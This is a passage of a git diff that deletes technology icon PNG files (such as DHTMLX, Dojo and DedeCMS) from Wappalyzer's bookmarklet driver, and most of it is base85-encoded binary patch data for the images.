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 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/DHTMLX.png b/Wappalyzer/drivers/bookmarklet/images/icons/DHTMLX.png deleted file mode 100644 index d74c581681f4a52593b4241e36f5fabd9a552458..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 127 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!93?!50ihlx9JOMr-u0WclVfFw2|K~ja@5X#I z9LQ%Z3GxeOaCmkj4aiaSba4!+h)X`e=G54rsBL6BO|ew1W5(7m+A~8XP)3` zBDQk{<)VNv2qR2PqL?sgupl82Ks8-JZCMbSAQeJt6rKcmE+CMqh$5Z1bG6i&o^89` z?RM|p`v>f%Z@0VKyVwsN{QtlI_ulvOe(&Ay{})n9ii!TPf5)^TcC}PawXE~S{+c$F zqrk!H`b2Rz%7m~B&>!}<00)5flp);Bl~bv8zL+{~DAT}?z}waJiEyz1icRyjjLEZr zJCoJ`0h9t8f%BuouI-Bs&>!|!0bc@TvpE4Ka1BUg$&ZZ=yH+nM0I&yGYMFoLbjUzF ztps#aX$0QM(jP7cpx`&qANH%jFt9w68t7~v*_5pt9d>;LyqcMsKwWix;<_Dxg(^^I zF$d_)qdS~2p1tQPJLYx(+*$J*d2~@AZJAdr7Qk)5u*}!w(KQ1aFdMfP3*ZKD$ui$_ z{JZ78xf0<74p|a0;1|093pS$uu>UpSh$?1uNmGf8rqq4ck|n=CRWnxin0Mlhs*?12 zMM$O$2d3nM>iR_Iq5%LL3fG1H)z!_nl4@$)aA<}U7*e1qCYmCtDNUs|R>jn{-pNa~ z^@-IW(+l1-6V3${Ax~f@ine#ED*c;LrY#i)nve(}X)44G!N`=RU5>fZSI0_CZAh-| zdV=rm0u-)5$on{O24sbSFiz@j99IH|jD)oQ5+TFR$3xE9dpQ6 zfsj`P{s0;+*^|I-I-)nT<$YnlTfjcxMc~QK_K}|>!6rWtY#10kQIJ4NIsZEAd0n3M zNXzwcPF>d3cYcL$c0AM;cz>uZAcxul+Y0?=eg$Tp{vyzt$y}x*+HA9;07QaKOMt(* z-x0So3=E#irOnldwgSz-Z0s$@JQMBAZO2AFVJ?7|fl>e<4xIZR0P8K|>%dp}gt`6& zYc1nH>4=UMZ7--50ttZR%E}9aW4v3c)Fy91x1E`pYs%LIG%Nunk zAOHt&HWF-__d4_MhUdJUKwtcNTu&VNN`rN|IR1P z69{8J;@*k@ywxx;c<(4*a6674Ej^HoPQNMU*J;uMuyo!kobq(bEdY^V({W&1CVv{} zX&4y1Y6}41Zm-x49AxgHvrxS2>6YErL?qbM3#gkq06k|La{{acz;_1Z!ClLSu002ov JPDHLkV1hT{P(=U$ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Dancer.png b/Wappalyzer/drivers/bookmarklet/images/icons/Dancer.png deleted file mode 100644 index 346ea7489a26a9c8138d75ba4555e486a31caa12..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 794 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 DQ(#b= diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Decorum.png b/Wappalyzer/drivers/bookmarklet/images/icons/Decorum.png deleted file mode 100644 index 2e51915b09c435ad7f8b5676cedd7ee0bfb4c2e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1379 zcmV-p1)TbcP)ftrN>fzNr`sKPe^w{RL%pAzHNl)Cjp2pB#wDlyKmf~_w`N>9}#fY(4hJ z{}!O%Y}!P+_B4|BkeUk$iGTtD$QTq5{|pdn-4H&YbNNAe;Ojr9EkIA+b-%X8_ee@l zKM6q;&?__jJh z$*T*%)@%te5#l1ja%2-z{eZ-S47Lu+u5)9eCwA)tlhDNmwueG7jTcK}~TmvJ3=Y5g-XfC-nu$ zwDm=Tm0QqNcfjuNymRSHXLaKkd_zW_ts5NaT}1-^P81g|+z zKIbOPy&k>!VVJ)H>Hi6aFM`(Wna-^h(i}0hb_g(-VYClcY(!V@MEZV$p6@{;-XEcm z1h>3EL7T9m3tip?*G7@Q&OqN;AOaPTOOPZmiD>&5&LEc(%!^Q)RV>y7tz3jl0IkZ3nC;;Agf_5_@C$}e zR7T1g0!W5Xm5wGu!Y`%SRS`MSD0>-$2@kOZ0krL^Ce$g605W2-Kyj!P5qP*Wex8-e zfms|1aS7i-70@d#07jgdHWBtF68yV@lWPeFNHF0>o^fQs@_)Mk4Pz*d>?&|Or{2X5 zPYLc;2<>ip6KWg)_jGv5*&?_G0it!TxG-hvXEkDpkVCsTzt+jaxC2s0#hVeP)-;IQ z>dcVae;q>+tK!M*w%4iXN` z0jd0OrG2!#Or=?k+yeijqN;-~Ah(7Jq1SRs-2iW_Sn{ab>eFIDLCeWOA(usRH3U$V zbQ}_GI;)CXnA|52w^`j{R3M7wZ9ij7M(Sg0y=Xscf4IYYukr1D+yfI<=@WHEBf zVb%-wT!LK4-6`Y9O4Dyb01l9AkCXK(IYY`AOoW2AO+>9`j%3f7GcMYT?=K@tiZ1|X zivY)`z#Llnb+;;;dWD>EE6oKFzx4>-7paJLXmO*dZ;!n)TmkQ52u#Jx42~|Mk&l)c zFX3*O0K`N@2==R&fTTF=`(!>$Z(a<%=$5zuhocT`*9qNB){9`Zv(;>OyR(!~3?{mf z&M?xv9e4y7#_;a~9H)R=w83*^O{iIkdW}PePYje&wRAv7(@tO`@H2*)3vj$&KQhrl zi}y;6DWU4*3Z&ek!Lz_p;0V(|#q^PY=bOX&R&4=?K)X=!32E>SHTE$>1ZIv)z-Ag@ lJ1KY5l25415-{=^;vX0vvI@AHok9Qr002ovPDHLkV1jBocr^e3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/DedeCMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/DedeCMS.png deleted file mode 100644 index af4913ff11df3ddab27ee0a0164a7bb0fe4c5d79..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 834 zcmV-I1HJr-P)(n$W4O6@?nL({_GvEgg&-0x3`#7AJ03iRu{iAKY&U!dcYdM@Z zK=o|B8OHE<+qyTOPU-lJxrn&+i&*tM6i|<4vkn*39NOewXFMRfZNmOXDqs;j!2#l*&Tv=g~E!?{>q?ly>0%FG9EorlKZOVUKDeISWnI7JM(w^h=F1-NJyoS`rvcY9N-E8 z=;aL;_`1`d5@f%OGHdUe^dTEUaXe_hi$ounyTU`_@FJ&3-||{+ZptP|&Rp)^c5X3( zBUj)^^fEk4qk}BIZdeE==|`%qH}qk_M{r=zF&F8yURI@tZ$hLb7Ba~tnB|+%T>Fx5 zbv6nU@9(pp)k*BlJx#&}hm9{wSP7)kVb=&+;+CM@mZBm^@tI=3*;AOLDJilmfzT&hsH9T(JGnF|NsB$|NqD1@gkPZ42sC!?)UEQ z|EJUHi^t?ns@H0`+}r8+*X#Ioz2U*&@=B=Hd^z=HQ(y!U< zd%xggv)eA4&{eM2k;~`K>GTMR$IRvMIH1y@(&h9j+aR2`s18sQ^A%uI`0?Q_y z78KL8S;8XSbwIaE7i9G&1IT7|X0jgxFy4QPRxsWItH>}!C18eg|O_ zeS|ztjDk=kv$rP9n(!43zehoODdS0Yop0l~jN?n{_yB;%(R=j*;8pe94kv)q;fC(~ v(*ynB+(A39qGz5zqiWs)iff%D^gdb&7)t=8FD?DBOT-G@yGywoxn=Lf} diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Deployd.png b/Wappalyzer/drivers/bookmarklet/images/icons/Deployd.png deleted file mode 100644 index f715e47b41b2aa922cacb4cc20bbe450ad841987..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 765 zcmVlQxpkbQ$HW|l72>j|%$iU38{)U8O%u`Lzx)~T)e^0HN?lb-m3W<# z#&Bod3JGd(qPp?^CJA4g@3yLzu>ANixidJ)-MTTYq>00TV2{&%XD$|txjNa+K@)d} z*7`oSolKNGpU)Ri?(MXaw}T`-PXc0w%a(TXc6i`Y962Yfr1eoH->-yA3!&LrKBG<^ zQ~}bhR4TLG`KO@a-AFb==PIj8?MRZyg2e6lx}r~Yywmzghun-1H)7>PcIWVdL?>0| zeS3bbR;zYZp~>bJyc9whJlGm1fS?LW-3eaepOqsGWfTC2Hva?A_H7Jdw()&E1;_^- zgawg|QfpS(73ll%Vg6wL2al+sU3WPS0Plh4CmlH6mynlD5@J5eII7iZtpgA|-_+Eq zEEXwjei#4_*L6KU&5s_f3cBf}IHCYR`WI0F?^oC9eo@=~CnAl`2m50I2))H^8wYN?PlEt}Dfw|yn#Aq+W>oE%l=4~qUjO9FQ)3a*F$>{tR#rg;Y+G^ z0Si}1IC~te9Zq1~(445Q3kCJdpWFnEmjJdld!tf;3f&2E6SSU!w5>IVV$1Rn=-z1R z+Dr$_!ZsRxwrh=$2IHXn4oyorA>-)!3&vnMiQy6SyH6pYW@e!}L;6pLdiT9i26Rw_Zo jRIru93sh1{>5TdX^II_odHo*iNuus1`kM*n{DUgxQ z&fR(3bH2y@?l+80eB==(d4Hso1(NeeB-b}eAzBD2L+AqvG)@{q93Z?zn46!UKgBoC zBz6PGP2RvTj2Myr+2Eqj)Fl*%)CLjT@cw)El_0|Nnx=7gnlHGxro&U5N0Y3UTx3aU ze8t685;SbmJvyuF!|Gc0o-2mN{WQlf#xrc9-aK_ zz3b|kh~udoA#PY&Ow+t&A`$k50Ot`!ZaCIlR+A{}7?CK_MS2h$Wem;1QtXbE|p{=vT0x@g(_sg)W(W1xV~ZZ>aYj&;957? z2Gt7@m;5;y!9iJumXdOOWE2r;KHBg9I?lfM5W4^QQzTm!BYAK!y7w+Z>a|LAFZvGF zkr0{^R+vPLghSz~y;6kuevSwgcQ?z2Ddx5d6?vT=#vxgb{WHsmSV!A8N^!3FC&+Zx zpsz21zDyl@Q?(A#b;$JABhyodPY*7^j-TC4A|@devXtwy0^H?$I41$7-8V|zk{Lwa?C zI2pi{K$3aVd{QU+A=ZSn*ZWn&*f>-5`jj1sPM)1&A+pSUK= zbG&e-8iT0>UfDelto~(`gk}-P6ekp}7u3F?1hlvbc-0fI(TL$AYbH*W#*qF`6?(gB z$f6b3CxD*6lxo24{d2(@*CM*00n+wDB%22Y=LsgcIOnYZZ|QA`%)}8ELdW87JK25a z`p6a1B;eCzJr1@$4)*(J5Q_f;h7u5njtCH9GgG_VXaP;dGs*o1&aR(lFSqN7{b&LE z{`Cads!D{`v^oN$T z_t-LIy5rX@B1Nvhl&r?DAbGEG!gb1cY1<%x48? zTQ~>3KJtvu%F&jqtXGx~B#do2v+Yb5KMNE4&4LN_Q zFY&nY@Q~f^Y1$pxR?siNB6WHB8fHg>Xg#nLTi;uP1&!5UOILwC@dDU_-+?{#64>g! zVC(jPt!XB_3AX-Sh^7+=ZRGtJN+Yk-_}heLd`A}`94yOnRJ zuMf=|Hwg{h5n)Uzpeut-0_?xc@ z8~I8aEx_qu2~zj=?y(Rg$W(%g9Wom!j857!$gQbj!W(c(0ko>Y{(UHBN+01 zwhj4+PfJZcI3c;ykctc5$K~gN|HGAtkLq0iRcUGImwXAAH}3ZsJ>0ImKP)t-s0000m zpZGML_%omRG@<)6p!+qU`!%5ZG@<)7q5D;?`((BJa=ZMF$o!km{Lbh8==A@#+W!Cl z|MU6(+wK0S)c!`O`@`Y>fWrJc5_RVQ000SeQchC?x*MBuJpzVPGZ3}HsOR1-*ZIA)@w~EvSfQp>}uOkS6o+A)Y4iE|04)E%O zbl$TIf)02#!4hLyR?V}g)>#~6P*5WXC`-KkPx3Ao=X&)SqqxlG(x1F4-<`-5A^puNI@urtUm!ja#CGU@kN0`a>a8V(brxd3fHOxOYbmmGe~ zJbp^T^mrX}K)Vpw*X(wGeEzteulKHIYe2gt;Fo5`1%&|>{Y3&m?!SNkAZ$1T%tlp% z#10CNf(I1H0#76h{6iw(766TV@#5v0bsKi<-2Ls_w+9a&?mu`4Vh51Bd(S?IaW`+? zTCsZVvEwIy|NadT35ke-hmt3<1wc{%kZ_0vK!aAST4QeGn3Z1?6cYaY`HLB|=jxeQ zynFW^r~t?|Ftr3)bLz}lV5nBtH>GCg{P_73VnJ|3G#(3}J^(t$%-Vj#rp-W`Ab~q& z`b>Kl4@e9Fl>yVto40Rk8=KR!^S^%m3imhI0^B|bfLUWUi4Pw=e(>;-fti(^i^tjx8zG@btOfV(-8Zqcd-UW9+=BAzI$)qB zr)TRJn%%m6$0soK#?4zmsV`r@ZrHTN(A)+XLxe3rj$}tSua2HRAmit+UqCXapm^>2 zjh8N8sjO`Pa(#os&Rw|p>eXvtV7_|&#@5Mw^VV&|Sb&IRpneZuPEJO39f72%9z%w!5msV`rB{`?up{r>&?pFe-# zQb6vnU%!BgU%!6+{{4I8NJdYlC>bpnJ)@Bdz!@zXp3x8%(6Xq&Uf2b~3p5 zMIZ&DUoh^%4tH^ls0MHp*YFY>SCv3og@d&wz%(7XQo~YZqSeN@>Pt+c2~?Swc3`cU zaaHfB%re}`x1eZR-G3wyRF?=8OzA8{7L04l z9<_kp7I>9KPF^zyj@(PasB8g6$<#L2w`5xV%uNfI?^(Ba=c@IGwqjb~kROoIR|ZFR zd45D$V43ALcgxbR-@pCG4akoJpu;cTzWSdKAm4)RC-(j)0+4AzOiLEBhWDR8*39W} z$O`}#32jUIsbIm<-D{CGBzG22IUiiSa|N#Y)}y=B&uC9xK7*^?d-gE(EqL_e30(Ez zODCvr!I>Ku5HbAegGH7nl`R0~FJuiX_HHmuccZ2S{#9|m|NKGL^WgcTRr@wB+Og{R z)ianDWb~GjoYAJPn@4;`E1H7ht?1?qqROHPt7iTD^@|t_nilq=2-YMJTbcq3dSE$v z;r5l!-@d^0|M>ai@vCPiuAEu6d#zJpAW+%D9V?M7a4ZNUr#`UA^aPf}78#zHQnw!8 zgPZ>0%O@(giwY*yAUl8mxg*rHAgURm$P| TdT1s(00000NkvXXu0mjf@^|_N diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Dojo.png b/Wappalyzer/drivers/bookmarklet/images/icons/Dojo.png deleted file mode 100644 index 96833c395b4807d64261202937ba067563fc40e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 247 zcmV;2k{6V!oedrI_lm*oYVw)>fPax&g!B0-4U*RyoB8OI>9K|A=D4ZvSvk9a$LDj8xbEO7( zk-`cKb*|=WVWDaf&sf1C3VAC<;pRRH3ru(f_32jBV9<8(V1^0D$x9yNE7mllxMBVI xsCrbWf4ZRL-h+3_|FSZ6ToAdiBOA0il{Z(l0a51F>)`+Z002ovPDHLkV1gpkW@!Kb diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Dokeos.png b/Wappalyzer/drivers/bookmarklet/images/icons/Dokeos.png deleted file mode 100644 index 855b23fff0c776c290168a0143d217e7d1df19ff..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 644 zcmV-~0(~47UU(mVJTE*C{O5>mFK7FXqt#&`L`Cm`Z#x5= zd3+5kuV9_8ST(+`&@EW)A@w8R`QLKq&(?ikGUYxa@&o+ZE}XO==7I$ZC5UpC!rW~{ z*b4M*1x&fU=)^&id#)4D9Kuamqz3?g5lTsc>pmg>qYsn+2)ro+y85e`H$C{(pGaid z@pnnwltpdubp*;22w~BMQPzsRn*q6E46HUN|BfXE!fjVPMUvlBz zjn+oj_iL2nm|H{Q!{C^mTX!G?k@U!^5GzZpNJVH9uzn1|C^}_1#g08& z9BCe=qiK}(-E(C8kX$7AvRuW;&ql^3+L@SYBCc)%vsCFm8DEz^s() zWM_PKLVQemR#vK#m6;+t6XO(tqzEC&2%#V(Ns$#4<-biu2nmD$BpePq!aC;dMVXFi zV+Y2JUhv7ibd=qq&S`NMOy50Ba3^!lm2WB;kdcJdYC%UJxcxD7T}RVF(*&aLnIs8x z!%N6QfavwIL@+FjXU%P0yms$H{M@e7kvV_~e;kZ=RV9`YaqO~5?? z=nRS74=vzl4oDe4j`33_^5yP23RmXiXbO1He@4Iv4JrdgOi(!txGd6-oY%jsGlBQvcW`?ixPi-N@@8{ep_y-M8n zwG6b$f8*Rj!v%q{Qzwp-P*ei-mOPG zz9;BIktL~K)AUH+NFh)_NNBo5tX)P`6np_4iz-tzC&lP&vmzPqJo>L`AOvQMna_(i z!za5Knx4dnyj)~eH4i(lvyxl zpp{EE0^F4!O(-I;n&jKT`(~X8g11+$rQ`kgNl%O+cX)PRFGZ-Ys^;dID$YoDW_)yz zqNPg)(GO+MzC)h%udM8`TCH|;ok&nK#xShGzl@GD0)e>gZwE(UvY1)DU>WHbD;biL zMov~L0zo(!;?l|U1pNW3hK%JmudE_5Hid@t)QR*%0=(yrooHou385Vy6Tam(GJxAz z_Ic@!;1L~GKemL_^A!wFizhoJ9%Jz|w{X5Ucx`hl^5ctG{lR9!p|Bx5COT$p|LrR^ z zTThE>Vak?mJh0$V&~$`RK^Qf11hOp8y+eSIr1@*i>U#5p0tiPy@0YER(fvUJf7wOo 